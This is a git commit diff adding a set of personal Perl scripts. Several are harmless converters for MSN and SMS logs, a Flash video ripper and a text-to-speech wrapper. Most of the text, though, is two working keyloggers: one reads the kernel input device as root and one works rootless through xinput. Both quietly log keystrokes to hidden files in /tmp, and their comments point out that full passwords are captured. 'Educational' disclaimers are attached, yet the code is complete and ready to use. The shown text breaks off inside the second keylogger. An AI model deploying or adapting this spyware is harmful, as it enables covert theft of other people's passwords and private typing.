Initial commit
This commit is contained in:
parent
aecd848806
commit
73194e1706
74
dumpmsn
Executable file
74
dumpmsn
Executable file
|
@ -0,0 +1,74 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# dumpmsn - Pretty up MSN Messenger chat logs.
|
||||||
|
#
|
||||||
|
# Usage: dumpmsn *.xml
|
||||||
|
#
|
||||||
|
# This will create a folder named "html" and put the files there. Give it chat
|
||||||
|
# logs from Windows Live Messenger 2011 or similar (no guarantees it
|
||||||
|
# will work with other versions).
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use 5.14.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use XML::Simple;
|
||||||
|
|
||||||
|
if (!-d "html") {
|
||||||
|
mkdir("html") or die "Can't create folder 'html': $@";
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach my $file (@ARGV) {
|
||||||
|
say "Dumping $file...";
|
||||||
|
my $xml = XMLin($file, ForceArray => 1);
|
||||||
|
my $html = $file;
|
||||||
|
$html =~ s/\.xml$//g;
|
||||||
|
|
||||||
|
open (my $fh, ">:utf8", "./html/$html.html");
|
||||||
|
print {$fh} <<EOF;
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Conversation Log</title>
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
background-color: #FFFFFF;
|
||||||
|
font-family: Verdana,Arial,Helvetica,sans-serif;
|
||||||
|
font-size: small;
|
||||||
|
color: #000000;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
if (ref($xml->{Message}) ne "ARRAY") {
|
||||||
|
warn "Not an array for $file";
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
foreach my $Message (@{$xml->{Message}}) {
|
||||||
|
my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName};
|
||||||
|
my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName};
|
||||||
|
my $time = $Message->{Date} . " " . $Message->{Time};
|
||||||
|
my ($text,$style);
|
||||||
|
if (ref($Message->{Text}->[0])) {
|
||||||
|
$text = $Message->{Text}->[0]->{content};
|
||||||
|
$style = $Message->{Text}->[0]->{Style};
|
||||||
|
} else {
|
||||||
|
$text = $Message->{Text}->[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
$style //= "";
|
||||||
|
$style = " style=\"$style\"" if length $style > 0;
|
||||||
|
|
||||||
|
print {$fh} "<strong>$time</strong><br>\n"
|
||||||
|
. "<em>$from says:</em>\n"
|
||||||
|
. "<blockquote$style>$text</blockquote>\n"
|
||||||
|
. "<hr>\n\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
print {$fh} "</body>\n</html>";
|
||||||
|
close($fh);
|
||||||
|
}
|
67
dumpsms
Executable file
67
dumpsms
Executable file
|
@ -0,0 +1,67 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly
|
||||||
|
# readable HTML files!
|
||||||
|
#
|
||||||
|
# Usage: dumpsms <sms-dump.xml>
|
||||||
|
# Ex: dumpsms sms-20120629202942.xml
|
||||||
|
#
|
||||||
|
# It will create a folder "./sms" if it doesn't exist, and output all the logs
|
||||||
|
# into that folder. It saves HTML files after the contact name, if available.
|
||||||
|
# Logs are opened in append mode, so if you run the script multiple times the
|
||||||
|
# logs get appended to the end of the file!
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use 5.14.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use autodie;
|
||||||
|
use XML::Simple;
|
||||||
|
|
||||||
|
my $xml = shift or die "$0 <*.xml>";
|
||||||
|
|
||||||
|
mkdir("sms") unless -d "sms";
|
||||||
|
my $ref = XMLin($xml);
|
||||||
|
|
||||||
|
foreach my $sms (@{$ref->{sms}}) {
|
||||||
|
my $num = $sms->{address};
|
||||||
|
|
||||||
|
my $color = $sms->{type} eq "1" ? "receive" : "send";
|
||||||
|
my $dir = $sms->{type} eq "1" ? "From" : "Sent to";
|
||||||
|
|
||||||
|
my $file = "./sms/$sms->{contact_name}.html";
|
||||||
|
if (!-f $file) {
|
||||||
|
open (my $fh, ">", $file);
|
||||||
|
print {$fh} "<!DOCTYPE html>\n"
|
||||||
|
. "<html>\n"
|
||||||
|
. "<head>\n"
|
||||||
|
. "<title>Conversation with $sms->{contact_name}</title>\n"
|
||||||
|
. "<style>\n"
|
||||||
|
. "body {\n"
|
||||||
|
. " font-family: Verdana,Arial,sans-serif;\n"
|
||||||
|
. " font-size: small;\n"
|
||||||
|
. " color: #000000;\n"
|
||||||
|
. "}\n"
|
||||||
|
. ".receive {\n"
|
||||||
|
. " color: #0000FF;\n"
|
||||||
|
. "}\n"
|
||||||
|
. ".send {\n"
|
||||||
|
. " color: #FF0000;\n"
|
||||||
|
. "}\n"
|
||||||
|
. "</style>\n"
|
||||||
|
. "</head>\n"
|
||||||
|
. "<body>\n\n";
|
||||||
|
close($fh);
|
||||||
|
}
|
||||||
|
|
||||||
|
open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html");
|
||||||
|
print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n"
|
||||||
|
. "<strong>$dir</strong> $sms->{contact_name} - $num\n"
|
||||||
|
. "<blockquote>$sms->{body}</blockquote>\n"
|
||||||
|
. "<hr>\n";
|
||||||
|
close($fh);
|
||||||
|
}
|
||||||
|
|
||||||
|
say "Wrote logs to ./sms";
|
68
flashget
Executable file
68
flashget
Executable file
|
@ -0,0 +1,68 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# flashget - Download Flash videos from any hosting site.
|
||||||
|
# Usage: flashget [output directory default $HOME]
|
||||||
|
# Author: Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
# This script doesn't care what your flash player is called. It just looks for
|
||||||
|
# any process that owns a /tmp/Flash####### file and copies it. It works for
|
||||||
|
# both the "old style" Netscape Flash plugin (for Firefox and Chromium) and the
|
||||||
|
# Pepper API style used in Google Chrome.
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use File::Copy;
|
||||||
|
|
||||||
|
my $home = shift @ARGV || (defined $ENV{HOME} ? $ENV{HOME} : ".");
|
||||||
|
|
||||||
|
print "flashget - Searching for Flash videos to rip. For best results, make sure\n"
|
||||||
|
. "you FULLY BUFFER the video first in your web browser.\n\n";
|
||||||
|
|
||||||
|
my $count = 0;
|
||||||
|
|
||||||
|
# First, just do a dumb scan of everything in /proc that we have read-access to
|
||||||
|
# and look for Flash files belonging to either Chrome or the Firefox-style Flash
|
||||||
|
# plugin. Note that the Chrome Flash plugin locks us out of its file descriptors
|
||||||
|
# unless we run with root privileges.
|
||||||
|
opendir (my $proc, "/proc");
|
||||||
|
foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) {
|
||||||
|
# Skip PID's we can't read from.
|
||||||
|
next unless -r "/proc/$pid/fd";
|
||||||
|
|
||||||
|
# Look for flash videos.
|
||||||
|
opendir (my $fd, "/proc/$pid/fd");
|
||||||
|
foreach my $id (sort(grep(!/^\./, readdir($fd)))) {
|
||||||
|
my $file = "/proc/$pid/fd/$id"; # Make it an abs path.
|
||||||
|
if (-l $file) {
|
||||||
|
my $link = readlink($file);
|
||||||
|
|
||||||
|
# Look for a Flash video link.
|
||||||
|
$link =~ s/\s*\(deleted\)//g; # Remove the " (deleted)" extensions.
|
||||||
|
if ($link =~ m{^/tmp/((?:Flash|FreshTemp).*?)$} || $link =~ m{Shockwave Flash/\.(.+?)$}) {
|
||||||
|
# Copy it.
|
||||||
|
my $dest = "$home/$1.flv";
|
||||||
|
print "Recover from PID $pid: $id -> $dest\n";
|
||||||
|
copy($file, $dest) or print "ERR: Couldn't copy to $dest: $@\n";
|
||||||
|
$count++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir($fd);
|
||||||
|
}
|
||||||
|
closedir ($proc);
|
||||||
|
|
||||||
|
print "\nRecovered $count Flash video(s).\n";
|
||||||
|
|
||||||
|
# Do a quick check for Google Chrome Flash processes that we didn't manage to
|
||||||
|
# get files from, to notify the user that they may want to re-run as root.
|
||||||
|
if ($> != 0) {
|
||||||
|
my $ps = `ps aux | grep ppapi | grep -v grep`;
|
||||||
|
if ($ps) {
|
||||||
|
print "I found a few Google Chrome Flash plugins running, but I need\n"
|
||||||
|
. "root permissions to read those files (unless you saw some files\n"
|
||||||
|
. "named like 'com.google' above). Run this script as root to get\n"
|
||||||
|
. "Flash videos out of Google Chrome.\n";
|
||||||
|
print "$ps\n";
|
||||||
|
}
|
||||||
|
}
|
27
gsay
Executable file
27
gsay
Executable file
|
@ -0,0 +1,27 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# gsay - Text to Speech using Google
|
||||||
|
# Usage: gsay <message>
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use URI::Escape;
|
||||||
|
|
||||||
|
if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) {
|
||||||
|
die "Usage: $0 <message>\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
my $message = uri_escape(join(" ", @ARGV));
|
||||||
|
|
||||||
|
# Check for mplayer.
|
||||||
|
chomp(my $mplayer = `which mplayer 2>/dev/null`);
|
||||||
|
if ($? || !$mplayer) {
|
||||||
|
die "Couldn't find `mplayer` - please install it!\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fork a background process to speak and exit immediately.
|
||||||
|
exit if fork();
|
||||||
|
exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1");
|
370
keylog
Executable file
370
keylog
Executable file
|
@ -0,0 +1,370 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use threads;
|
||||||
|
use threads::shared;
|
||||||
|
|
||||||
|
# keylog - A simple key logger.
|
||||||
|
# Usage: keylog <path-to-device-node>
|
||||||
|
# Example: keylog /dev/input/event0
|
||||||
|
#
|
||||||
|
# The user you run this as should have read access to the device node. Most of
|
||||||
|
# the time, this means you'll need to run this as root.
|
||||||
|
#
|
||||||
|
# To find out which device node your keyboard is using, run the command
|
||||||
|
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
|
||||||
|
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
|
||||||
|
# in this case the input device is /dev/input/event4. Update this for any
|
||||||
|
# other event number that you see instead.
|
||||||
|
#
|
||||||
|
# This program prints ALL key events to the terminal (including the key up/down
|
||||||
|
# events for all keys). This information probably isn't directly useful to you,
|
||||||
|
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
|
||||||
|
# it logs are probably the most useful to you; if the user hits the backspace
|
||||||
|
# key, the last key they typed is deleted, etc.. so if a user is typing their
|
||||||
|
# password and makes a typo and finishes typing, you'll get their full password.
|
||||||
|
#
|
||||||
|
# The buffer used for this is saved after 2 seconds of idle time in their typing,
|
||||||
|
# or when a "separator key" is entered (a separator key is: Enter, Return, or
|
||||||
|
# Tab). Each buffer is saved to its own line in the log file. If the user is a
|
||||||
|
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
|
||||||
|
# figure this out yourself.
|
||||||
|
#
|
||||||
|
# This is just a proof of concept and should be used for educational purposes
|
||||||
|
# only.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
# Modify the die handler so we can exit on error messages
|
||||||
|
# more gracefully.
|
||||||
|
$SIG{__DIE__} = sub {
|
||||||
|
my $err = shift;
|
||||||
|
$err =~ s/ at .+ line .+\.//g;
|
||||||
|
print $err;
|
||||||
|
exit(1);
|
||||||
|
};
|
||||||
|
|
||||||
|
# Get the device node from command line.
|
||||||
|
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
|
||||||
|
my $DEV = $ARGV[0];
|
||||||
|
|
||||||
|
# Must run this as root, or be able to read from the device.
|
||||||
|
if (!-r $DEV) {
|
||||||
|
die "Can't read from $DEV; got root?";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Hash to keep track of modifier keys.
|
||||||
|
our $mod = {
|
||||||
|
shift => 0,
|
||||||
|
alt => 0,
|
||||||
|
ctrl => 0,
|
||||||
|
};
|
||||||
|
|
||||||
|
# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
|
||||||
|
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
|
||||||
|
# in the log file. The backspace key deletes text in the buffer, etc. This way
|
||||||
|
# you can see basically what they typed, without having to parse through the
|
||||||
|
# key up/down events yourself.
|
||||||
|
my $buffer : shared;
|
||||||
|
my $lastkey : shared; # Holds the time() of the last key event seen.
|
||||||
|
my $writenow : shared; # The key parser can force the buffer to write now.
|
||||||
|
$buffer = '';
|
||||||
|
$lastkey = 0;
|
||||||
|
$writenow = 0;
|
||||||
|
|
||||||
|
# Spawn a thread to watch the buffer and write it to disk. This way the
|
||||||
|
# blocking file reads won't prevent the buffer from being written.
|
||||||
|
my $bufthread = threads->create (\&buffer);
|
||||||
|
|
||||||
|
# Open the device for reading.
|
||||||
|
open (FILE, $DEV);
|
||||||
|
while (1) {
|
||||||
|
# Read the next keypress event.
|
||||||
|
my $line = "";
|
||||||
|
sysread(FILE, $line, 16);
|
||||||
|
my @vals = split(//, $line);
|
||||||
|
|
||||||
|
if (ord($vals[10]) != 0) {
|
||||||
|
# Interpret the event.
|
||||||
|
interpret(ord($vals[10]),ord($vals[12]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close (FILE);
|
||||||
|
|
||||||
|
# This is the buffer writing thread.
|
||||||
|
sub buffer {
|
||||||
|
while (1) {
|
||||||
|
select(undef,undef,undef,0.1);
|
||||||
|
|
||||||
|
# Was there a 2 second delay from the last event?
|
||||||
|
if ($lastkey == 0) {
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
|
||||||
|
# Write it to disk.
|
||||||
|
print "Writing buffer to disk\n";
|
||||||
|
open (WRITE, ">>/tmp/.keylog");
|
||||||
|
print WRITE ts() . "$buffer\n";
|
||||||
|
close (WRITE);
|
||||||
|
$buffer = '';
|
||||||
|
$lastkey = 0;
|
||||||
|
$writenow = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Interpret keycode events from the device node.
|
||||||
|
sub interpret {
|
||||||
|
my ($keycode,$state) = @_;
|
||||||
|
|
||||||
|
# Store the last keypress time.
|
||||||
|
$lastkey = time();
|
||||||
|
|
||||||
|
# Qwerty keyboard map.
|
||||||
|
qwerty($keycode,$state);
|
||||||
|
return;
|
||||||
|
|
||||||
|
# This code doesn't run; if you want it to run,
|
||||||
|
# comment out the "return" just above these
|
||||||
|
# comments. This is for debugging purposes.
|
||||||
|
print "[$keycode] ";
|
||||||
|
if ($state == 0) {
|
||||||
|
print "up\n";
|
||||||
|
}
|
||||||
|
elsif ($state == 1) {
|
||||||
|
print "down\n";
|
||||||
|
}
|
||||||
|
elsif ($state == 2) {
|
||||||
|
print "repeat\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Interpret keycodes based on QWERTY key map.
|
||||||
|
sub qwerty {
|
||||||
|
my ($code,$state) = @_;
|
||||||
|
return unless $state >= 0 && $state <= 2;
|
||||||
|
|
||||||
|
# Handle the modifier keys first.
|
||||||
|
if ($code == 42 || $code == 54) {
|
||||||
|
# Shift key.
|
||||||
|
$mod->{shift} = ($state == 1 ? 1 : 0);
|
||||||
|
}
|
||||||
|
elsif ($code == 29 || $code == 97) {
|
||||||
|
# Ctrl key.
|
||||||
|
$mod->{ctrl} = ($state == 1 ? 1 : 0);
|
||||||
|
}
|
||||||
|
elsif ($code == 56 || $code == 100) {
|
||||||
|
# Alt key.
|
||||||
|
$mod->{alt} = ($state == 1 ? 1 : 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Qwery keys.
|
||||||
|
my %keys = (
|
||||||
|
# Keys that map to two different characters (with shift
|
||||||
|
# key held down) are an array; element 0 is the non-shifted
|
||||||
|
# character, element 1 is the shifted character.
|
||||||
|
|
||||||
|
# number row
|
||||||
|
41 => [ '`', '~' ],
|
||||||
|
2 => [ '1', '!' ],
|
||||||
|
3 => [ '2', '@' ],
|
||||||
|
4 => [ '3', '#' ],
|
||||||
|
5 => [ '4', '$' ],
|
||||||
|
6 => [ '5', '%' ],
|
||||||
|
7 => [ '6', '^' ],
|
||||||
|
8 => [ '7', '&' ],
|
||||||
|
9 => [ '8', '*' ],
|
||||||
|
10 => [ '9', '(' ],
|
||||||
|
11 => [ '0', ')' ],
|
||||||
|
12 => [ '-', '_' ],
|
||||||
|
13 => [ '=', '+' ],
|
||||||
|
|
||||||
|
# qwerty row
|
||||||
|
16 => [ 'q', 'Q' ],
|
||||||
|
17 => [ 'w', 'W' ],
|
||||||
|
18 => [ 'e', 'E' ],
|
||||||
|
19 => [ 'r', 'R' ],
|
||||||
|
20 => [ 't', 'T' ],
|
||||||
|
21 => [ 'y', 'Y' ],
|
||||||
|
22 => [ 'u', 'U' ],
|
||||||
|
23 => [ 'i', 'I' ],
|
||||||
|
24 => [ 'o', 'O' ],
|
||||||
|
25 => [ 'p', 'P' ],
|
||||||
|
26 => [ '[', '{' ],
|
||||||
|
27 => [ ']', '}' ],
|
||||||
|
43 => [ '\\', '|' ],
|
||||||
|
|
||||||
|
# asdf row
|
||||||
|
30 => [ 'a', 'A' ],
|
||||||
|
31 => [ 's', 'S' ],
|
||||||
|
32 => [ 'd', 'D' ],
|
||||||
|
33 => [ 'f', 'F' ],
|
||||||
|
34 => [ 'g', 'G' ],
|
||||||
|
35 => [ 'h', 'H' ],
|
||||||
|
36 => [ 'j', 'J' ],
|
||||||
|
37 => [ 'k', 'K' ],
|
||||||
|
38 => [ 'l', 'L' ],
|
||||||
|
39 => [ ';', ':' ],
|
||||||
|
40 => [ "'", '"' ],
|
||||||
|
|
||||||
|
# zxcv row
|
||||||
|
44 => [ 'z', 'Z' ],
|
||||||
|
45 => [ 'x', 'X' ],
|
||||||
|
46 => [ 'c', 'C' ],
|
||||||
|
47 => [ 'v', 'V' ],
|
||||||
|
48 => [ 'b', 'B' ],
|
||||||
|
49 => [ 'n', 'N' ],
|
||||||
|
50 => [ 'm', 'M' ],
|
||||||
|
51 => [ ',', '<' ],
|
||||||
|
52 => [ '.', '>' ],
|
||||||
|
53 => [ '/', '?' ],
|
||||||
|
|
||||||
|
# Other keys
|
||||||
|
14 => 'Backspace',
|
||||||
|
28 => 'Return',
|
||||||
|
96 => 'Enter',
|
||||||
|
15 => 'Tab',
|
||||||
|
57 => ' ',
|
||||||
|
58 => 'Caps Lock',
|
||||||
|
69 => 'Num Lock',
|
||||||
|
70 => 'Scroll Lock',
|
||||||
|
42 => 'L-Shift',
|
||||||
|
54 => 'R-Shift',
|
||||||
|
29 => 'L-Ctrl',
|
||||||
|
97 => 'R-Ctrl',
|
||||||
|
56 => 'L-Alt',
|
||||||
|
100 => 'R-Alt',
|
||||||
|
125 => 'L-Super',
|
||||||
|
126 => 'R-Super',
|
||||||
|
127 => 'Menu',
|
||||||
|
1 => 'Escape',
|
||||||
|
59 => 'F1',
|
||||||
|
60 => 'F2',
|
||||||
|
61 => 'F3',
|
||||||
|
62 => 'F4',
|
||||||
|
63 => 'F5',
|
||||||
|
64 => 'F6',
|
||||||
|
65 => 'F7',
|
||||||
|
66 => 'F8',
|
||||||
|
67 => 'F9',
|
||||||
|
68 => 'F10',
|
||||||
|
87 => 'F11',
|
||||||
|
88 => 'F12',
|
||||||
|
110 => 'Insert',
|
||||||
|
102 => 'Home',
|
||||||
|
107 => 'End',
|
||||||
|
104 => 'Pg Up',
|
||||||
|
109 => 'Pg Dn',
|
||||||
|
111 => 'Del',
|
||||||
|
99 => 'Print Screen',
|
||||||
|
119 => 'Pause',
|
||||||
|
103 => 'Up',
|
||||||
|
108 => 'Down',
|
||||||
|
106 => 'Right',
|
||||||
|
105 => 'Left',
|
||||||
|
71 => [ 'Num-7', 'Num-Home' ],
|
||||||
|
72 => [ 'Num-8', 'Num-Up' ],
|
||||||
|
73 => [ 'Num-9', 'Num-Pg Up' ],
|
||||||
|
75 => [ 'Num-4', 'Num-Left' ],
|
||||||
|
76 => 'Num-5',
|
||||||
|
77 => [ 'Num-6', 'Num-Right' ],
|
||||||
|
79 => [ 'Num-1', 'Num-End' ],
|
||||||
|
80 => [ 'Num-2', 'Num-Down' ],
|
||||||
|
81 => [ 'Num-3', 'Num-Pg Dn' ],
|
||||||
|
82 => [ 'Num-0', 'Num-Insert' ],
|
||||||
|
96 => 'Num-/',
|
||||||
|
55 => 'Num-*',
|
||||||
|
74 => 'Num--',
|
||||||
|
78 => 'Num-+',
|
||||||
|
93 => [ 'Num-.', 'Num-Del' ],
|
||||||
|
);
|
||||||
|
|
||||||
|
# See their matching keypress.
|
||||||
|
my $keypress = '';
|
||||||
|
foreach my $key (sort keys %keys) {
|
||||||
|
if ($code == $key) {
|
||||||
|
# We have a match! Does the key have a shift-modifier?
|
||||||
|
if (ref($keys{$key}) eq "ARRAY") {
|
||||||
|
if ($mod->{shift}) {
|
||||||
|
$keypress = $keys{$key}->[1];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$keypress = $keys{$key}->[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$keypress = $keys{$key};
|
||||||
|
}
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add it to the buffer.
|
||||||
|
if ($state == 1) {
|
||||||
|
if (length $keypress > 1) {
|
||||||
|
if ($keypress eq 'Backspace') {
|
||||||
|
# Delete the last character off the end of their buffer.
|
||||||
|
$buffer = substr($buffer,0,(length($buffer) - 1));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# Add the special key with {brackets} around it.
|
||||||
|
$buffer .= "{$keypress}";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$buffer .= $keypress;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# If they hit a separator key, save the buffer right now.
|
||||||
|
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
|
||||||
|
$writenow = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Print their key.
|
||||||
|
if ($mod->{shift}) {
|
||||||
|
$keypress = "(Shift) $keypress";
|
||||||
|
}
|
||||||
|
if ($mod->{ctrl}) {
|
||||||
|
$keypress = "(Ctrl) $keypress";
|
||||||
|
}
|
||||||
|
if ($mod->{alt}) {
|
||||||
|
$keypress = "(Alt) $keypress";
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($state == 1) {
|
||||||
|
$keypress = "+ $keypress";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$keypress = "- $keypress";
|
||||||
|
}
|
||||||
|
|
||||||
|
print "$code $keypress\n";
|
||||||
|
|
||||||
|
# Log the raw keypresses too.
|
||||||
|
open (RAW, ">>/tmp/.rawkeylog");
|
||||||
|
print RAW ts() . "$code $keypress\n";
|
||||||
|
close (RAW);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub ts {
|
||||||
|
my @time = localtime();
|
||||||
|
return "[" . join(" ",
|
||||||
|
join("-",
|
||||||
|
sprintf("%04d", $time[5] + 1900),
|
||||||
|
sprintf("%02d", $time[4] + 1),
|
||||||
|
sprintf("%02d", $time[3]),
|
||||||
|
),
|
||||||
|
join(":",
|
||||||
|
sprintf("%02d", $time[2]),
|
||||||
|
sprintf("%02d", $time[1]),
|
||||||
|
sprintf("%02d", $time[0]),
|
||||||
|
),
|
||||||
|
) . "] ";
|
||||||
|
}
|
292
keylog2
Executable file
292
keylog2
Executable file
|
@ -0,0 +1,292 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# keylog2 - a rootless keylogger that only requires an X server and the xinput
|
||||||
|
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
|
||||||
|
# the Perl module IO::Pty::Easy.
|
||||||
|
#
|
||||||
|
# Unlike my first keylogger proof-of-concept, this one doesn't require root
|
||||||
|
# privileges because it just uses the X Window System. Therefore it only
|
||||||
|
# catches key inputs made to graphical programs on the same X server that the
|
||||||
|
# keylogger runs on.
|
||||||
|
#
|
||||||
|
# How it works: running `xinput list` lists all your X input devices. There's
|
||||||
|
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
|
||||||
|
# keyboard". Get the ID from the line that says this and then run
|
||||||
|
# `xinput test <id>` and it will start dumping keystroke information as the
|
||||||
|
# user types keys into ANY graphical app.
|
||||||
|
#
|
||||||
|
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
|
||||||
|
# so no guarantees it will work for everybody. This is just another proof of
|
||||||
|
# concept anyway, and shouldn't be used for malicious purposes.
|
||||||
|
#
|
||||||
|
# Under the default configuration, the log file is written to /tmp/.keylog
|
||||||
|
# and only logs key release events, except for modifier keys (Shift, Ctrl,
|
||||||
|
# Alt, and Super (Windows key)) where it will also log the Key Down event
|
||||||
|
# (so Alt-Tabbing makes more sense in the log, for example). You can
|
||||||
|
# optionally configure it to log EVERY key down event if you'd like, though.
|
||||||
|
#
|
||||||
|
# Again, this is just a proof of concept and should be used for educational
|
||||||
|
# purposes only, and not for anything malicious.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use IO::Pty::Easy;
|
||||||
|
use IO::Handle;
|
||||||
|
|
||||||
|
##########################
|
||||||
|
# Configuration #
|
||||||
|
##########################
|
||||||
|
|
||||||
|
my $conf = {
|
||||||
|
# Log files to write keys to
|
||||||
|
logfile => "/tmp/.keylog",
|
||||||
|
|
||||||
|
# By default only key-releases are logged. Log key-presses too?
|
||||||
|
log_keydown => 0,
|
||||||
|
};
|
||||||
|
|
||||||
|
##########################
|
||||||
|
# End Configuration #
|
||||||
|
##########################
|
||||||
|
|
||||||
|
# X11 display.
|
||||||
|
$ENV{DISPLAY} ||= ":0.0";
|
||||||
|
|
||||||
|
# Make sure we have xinput.
|
||||||
|
if (system("which xinput > /dev/null") != 0) {
|
||||||
|
print "You require the `xinput` command for this keylogger to work.\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get the input list.
|
||||||
|
my @inputs = `xinput list`;
|
||||||
|
|
||||||
|
# Find the AT keyboard.
|
||||||
|
my $id;
|
||||||
|
foreach my $line (@inputs) {
|
||||||
|
$line =~ s/^[\s\t]+//g;
|
||||||
|
$line =~ s/[\s\t]+$//g;
|
||||||
|
$line =~ s/[\x0D\x0A]+//g;
|
||||||
|
next unless length $line;
|
||||||
|
if ($line =~ /keyboard/i && $line =~ /. AT/) {
|
||||||
|
($id) = ($line =~ /id=(\d+)/)[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!defined $id) {
|
||||||
|
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
print "Keyboard ID: $id\n";
|
||||||
|
|
||||||
|
# Track state of modifier keys.
|
||||||
|
our %mod = (
|
||||||
|
'shift' => 0,
|
||||||
|
'ctrl' => 0,
|
||||||
|
'alt' => 0,
|
||||||
|
'super' => 0,
|
||||||
|
);
|
||||||
|
|
||||||
|
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
|
||||||
|
my $tty = IO::Pty::Easy->new();
|
||||||
|
print "Watching `xinput test $id`\n";
|
||||||
|
$tty->spawn("xinput test $id");
|
||||||
|
|
||||||
|
while ($tty->is_active) {
|
||||||
|
my $data = $tty->read();
|
||||||
|
my @lines = split(/\n/, $data);
|
||||||
|
foreach my $line (@lines) {
|
||||||
|
# Key event?
|
||||||
|
chomp $line;
|
||||||
|
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
|
||||||
|
event($1, $2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Handle key events
|
||||||
|
sub event {
|
||||||
|
my ($event,$sym) = @_;
|
||||||
|
|
||||||
|
# Only QWERTY keyboards supported.
|
||||||
|
my $key = kbd_qwerty($event,$sym);
|
||||||
|
|
||||||
|
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
|
||||||
|
|
||||||
|
# Log it?
|
||||||
|
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
|
||||||
|
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
|
||||||
|
my @time = localtime(time());
|
||||||
|
my $ts = join(" ",
|
||||||
|
join("-",
|
||||||
|
sprintf("%4d", $time[5] + 1900),
|
||||||
|
sprintf("%2d", $time[4] + 1),
|
||||||
|
sprintf("%2d", $time[3]),
|
||||||
|
),
|
||||||
|
join(":",
|
||||||
|
sprintf("%2d", $time[2]),
|
||||||
|
sprintf("%2d", $time[1]),
|
||||||
|
